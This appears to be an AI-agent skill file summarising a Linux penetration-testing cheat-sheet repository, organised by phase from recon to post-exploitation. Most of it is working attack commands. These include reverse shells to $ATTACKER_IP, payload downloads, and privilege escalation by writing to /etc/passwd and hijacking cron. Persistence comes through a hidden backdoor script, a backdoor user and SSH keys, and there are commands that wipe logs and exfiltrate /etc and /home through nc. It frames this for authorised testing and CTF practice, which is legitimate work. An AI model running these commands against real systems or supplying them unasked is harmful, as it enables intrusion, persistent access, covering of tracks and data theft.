Linux Pentester Notes

Linux Pentester Notes Skill

Skill by ara.so — Security Skills collection.

Overview

Linux-for-a-Pentester is a curated collection of practical Linux commands and techniques organized by penetration testing phases. This repository serves as a quick reference guide for security professionals conducting assessments, CTF challenges, or security research on Linux systems.

The repository is structured around the standard penetration testing methodology:

• General Commands (survival essentials)
• Reconnaissance (information gathering)
• Enumeration (deep service analysis)
• Exploitation (gaining initial access)
• Privilege Escalation (elevating permissions)
• Post-Exploitation (persistence and lateral movement)

Installation

This is a reference repository, not an installable tool. Clone it locally for quick access during engagements:

# Clone the repository
git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester

# Optional: Create an alias for quick access
echo "alias pentester='cd ~/Linux-for-a-Pentester && ls -la'" >> ~/.bashrc
source ~/.bashrc

Repository Structure

The repository is organized into directories by testing phase:

Linux-for-a-Pentester/
├── 00-General-Commands/      # Basic Linux survival commands
├── 01-Recon/                 # Reconnaissance techniques
├── 02-Enumeration/           # Service and user enumeration
├── 03-Exploitation/          # Initial access techniques
├── 04-Privilege-Escalation/  # Privilege escalation methods
├── 05-Post-Exploitation/     # Persistence and cleanup
└── Cheatsheets/              # Quick reference one-liners

Key Command Categories

General Commands (00-General-Commands/)

Essential Linux commands for navigating and understanding target systems:

# System information
uname -a                    # Kernel version and architecture
cat /etc/os-release         # Distribution information
hostname                    # Current hostname
uptime                      # System uptime and load

# File operations
find / -name "*.conf" 2>/dev/null          # Find configuration files
grep -r "password" /home 2>/dev/null       # Recursive search
locate suid                                 # Locate files quickly
which python python3                       # Find binary locations

# Process management
ps aux                      # All running processes
ps -ef --forest            # Process tree view
top                        # Real-time process monitor
netstat -tulpn             # Listening ports (legacy)
ss -tulpn                  # Listening ports (modern)

Reconnaissance (01-Recon/)

Local and network reconnaissance commands:

# Network information
ip a                       # IP addresses and interfaces
ip route                   # Routing table
arp -a                     # ARP cache
cat /etc/resolv.conf      # DNS configuration

# User enumeration
whoami                     # Current user
id                         # User ID and groups
w                          # Logged in users
last                       # Login history
cat /etc/passwd           # User accounts
cat /etc/group            # Group information

# File system reconnaissance
df -h                      # Disk usage
mount                      # Mounted filesystems
cat /etc/fstab            # Filesystem table
lsblk                      # Block devices

# Network scanning (if tools available)
ping -c 3 $TARGET_IP
nmap -sn 192.168.1.0/24   # Host discovery
nmap -p- $TARGET_IP       # Full port scan

Enumeration (02-Enumeration/)

Deep service and configuration analysis:

# Service enumeration
systemctl list-units --type=service     # Active services
ps aux | grep root                      # Root processes
crontab -l                              # User cron jobs
cat /etc/crontab                        # System cron jobs
ls -la /etc/cron.*                      # Cron directories

# SUID/SGID files (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null  # SUID files
find / -perm -2000 -type f 2>/dev/null  # SGID files
find / -perm -u=s -type f 2>/dev/null   # Alternative SUID search

# Writable files and directories
find / -writable -type d 2>/dev/null    # Writable directories
find / -writable -type f 2>/dev/null    # Writable files
find /etc -writable 2>/dev/null         # Writable config files

# Capabilities (often overlooked)
getcap -r / 2>/dev/null                 # Files with capabilities

# Environment and configuration
env                                      # Environment variables
cat /etc/environment                    # System-wide environment
history                                 # Command history
cat ~/.bash_history                     # User command history

Exploitation (03-Exploitation/)

Techniques for gaining initial access:

# Reverse shells
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
nc -e /bin/bash $ATTACKER_IP 4444
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Shell stabilization
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Then Ctrl+Z, then:
stty raw -echo; fg
# Press Enter twice

# File upload techniques
# Using wget
wget http://$ATTACKER_IP:8000/payload.sh -O /tmp/payload.sh

# Using curl
curl http://$ATTACKER_IP:8000/payload.sh -o /tmp/payload.sh

# Using nc (if available)
nc $ATTACKER_IP 9999 > /tmp/payload.sh
# On attacker: nc -lvnp 9999 < payload.sh

# Using base64 (for text files/scripts)
echo "base64_encoded_payload" | base64 -d > /tmp/payload.sh

Privilege Escalation (04-Privilege-Escalation/)

Methods to elevate privileges to root:

# Automated enumeration scripts
# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./LinEnum.sh -t

# Sudo abuse
sudo -l                                 # Check sudo permissions
# If (ALL) NOPASSWD: /usr/bin/find
sudo find /etc -exec /bin/bash \;

# If (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'

# Kernel exploits (use with caution)
uname -r                               # Check kernel version
searchsploit linux kernel 4.15        # Find exploits

# Writable /etc/passwd
# If /etc/passwd is writable
openssl passwd -1 -salt salt password123
echo 'newroot:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot

# Cron job abuse
# If cron job runs as root and editable
echo 'bash -i >& /dev/tcp/$ATTACKER_IP/5555 0>&1' >> /path/to/cronjob.sh

# Path hijacking
# If sudo command has relative path
echo '/bin/bash' > /tmp/vulnerable_binary
chmod +x /tmp/vulnerable_binary
export PATH=/tmp:$PATH
sudo vulnerable_command

# Capabilities abuse
# If python has cap_setuid
python -c 'import os; os.setuid(0); os.system("/bin/bash")'

Post-Exploitation (05-Post-Exploitation/)

Maintaining access and covering tracks:

# User creation (persistence)
useradd -m -s /bin/bash backdoor
echo 'backdoor:password123' | chpasswd
usermod -aG sudo backdoor              # Add to sudo group

# SSH key persistence
mkdir -p /root/.ssh
echo "$ATTACKER_SSH_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Backdoor scripts
cat > /usr/local/bin/.backdoor.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/$ATTACKER_IP/6666 0>&1
EOF
chmod +x /usr/local/bin/.backdoor.sh

# Cron persistence
echo "*/5 * * * * /usr/local/bin/.backdoor.sh" | crontab -

# Log cleanup
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
echo "" > ~/.bash_history
history -c
unset HISTFILE

# Data exfiltration
tar czf - /etc /home | nc $ATTACKER_IP 7777
# On attacker: nc -lvnp 7777 > exfil.tar.gz

Common Patterns

Pattern 1: Initial Shell to Stable TTY

# 1. Get initial shell (reverse shell)
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1

# 2. Upgrade to TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 3. Background with Ctrl+Z, then:
stty raw -echo; fg

# 4. Set terminal type
export TERM=xterm-256color

# 5. Adjust rows/columns (optional)
stty rows 38 columns 116

Pattern 2: Full System Enumeration

# System info
uname -a
cat /etc/os-release
hostname

# Users and groups
cat /etc/passwd
cat /etc/group
id
sudo -l

# Network
ip a
ip route
ss -tulpn
cat /etc/hosts

# Services and processes
ps aux
systemctl list-units --type=service
cat /etc/crontab
crontab -l

# SUID binaries
find / -perm -4000 2>/dev/null

# Writable directories
find / -writable -type d 2>/dev/null | grep -v proc

# Capabilities
getcap -r / 2>/dev/null

Pattern 3: Quick Privesc Check

# Check sudo rights
sudo -l

# Find SUID binaries (GTFOBins)
find / -perm -4000 -type f 2>/dev/null

# Check writable files in sensitive locations
find /etc /root /home -writable 2>/dev/null

# Check capabilities
getcap -r / 2>/dev/null

# Check kernel version for exploits
uname -r

# Check for passwords in files
grep -r -i "password" /home /var/www /opt 2>/dev/null

Troubleshooting

Issue: Commands Not Found

Some systems have minimal installations. Check for alternatives:

# If netstat not available, use ss
ss -tulpn

# If ifconfig not available, use ip
ip a

# If wget not available, use curl
curl -O http://example.com/file

# If python not available, try python3
which python python3 python2

Issue: Permission Denied Errors

Redirect stderr to /dev/null to clean up output:

find / -name "config" 2>/dev/null
grep -r "password" / 2>/dev/null

Issue: Shell Not Stabilizing

Try alternative methods:

# Method 1: Python
python -c 'import pty; pty.spawn("/bin/bash")'

# Method 2: Script
script /dev/null -c bash

# Method 3: Expect
expect -c 'spawn /bin/bash; interact'

# Method 4: Perl
perl -e 'exec "/bin/bash";'

Issue: No Internet Access on Target

Transfer files using base64 encoding:

# On attacker:
base64 -w0 tool.sh > tool.b64

# Copy output, then on target:
echo "BASE64_STRING" | base64 -d > tool.sh
chmod +x tool.sh

Integration with Testing Workflows

Use During Active Engagement

# Quick reference during testing
cd ~/Linux-for-a-Pentester
grep -r "SUID" .
cat 04-Privilege-Escalation/suid-exploitation.md

Reference for Report Writing

The repository structure mirrors standard penetration testing phases, making it easy to reference during report writing and ensuring comprehensive coverage of testing activities.

CTF and Lab Practice

Use these commands as a checklist when practicing in:

• HackTheBox machines
• TryHackMe rooms
• OSCP lab machines
• VulnHub VMs

Best Practices

1. Always get permission before testing on systems you don't own 2. Document everything during engagements 3. Test in isolated environments first 4. Use automation wisely but understand what commands do 5. Clean up after testing (remove backdoors, restore configs) 6. Stay updated with new techniques and CVEs

Additional Resources

• GTFOBins: https://gtfobins.github.io/ (SUID/Sudo abuse)
• HackTricks: https://book.hacktricks.xyz/ (Comprehensive pentesting guide)
• PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
• PEASS-ng: https://github.com/carlospolop/PEASS-ng (LinPEAS enumeration)

Notes for AI Agents

When helping users with Linux penetration testing:

1. Always emphasize legal and ethical boundaries 2. Recommend testing only on authorized systems 3. Explain command flags and options for learning 4. Suggest multiple approaches when one may fail 5. Remind users to document findings for reporting 6. Warn about destructive commands (rm, dd, etc.) 7. Encourage understanding over memorization

This repository is a reference guide, not a step-by-step tutorial. Each engagement is unique and requires critical thinking and adaptation.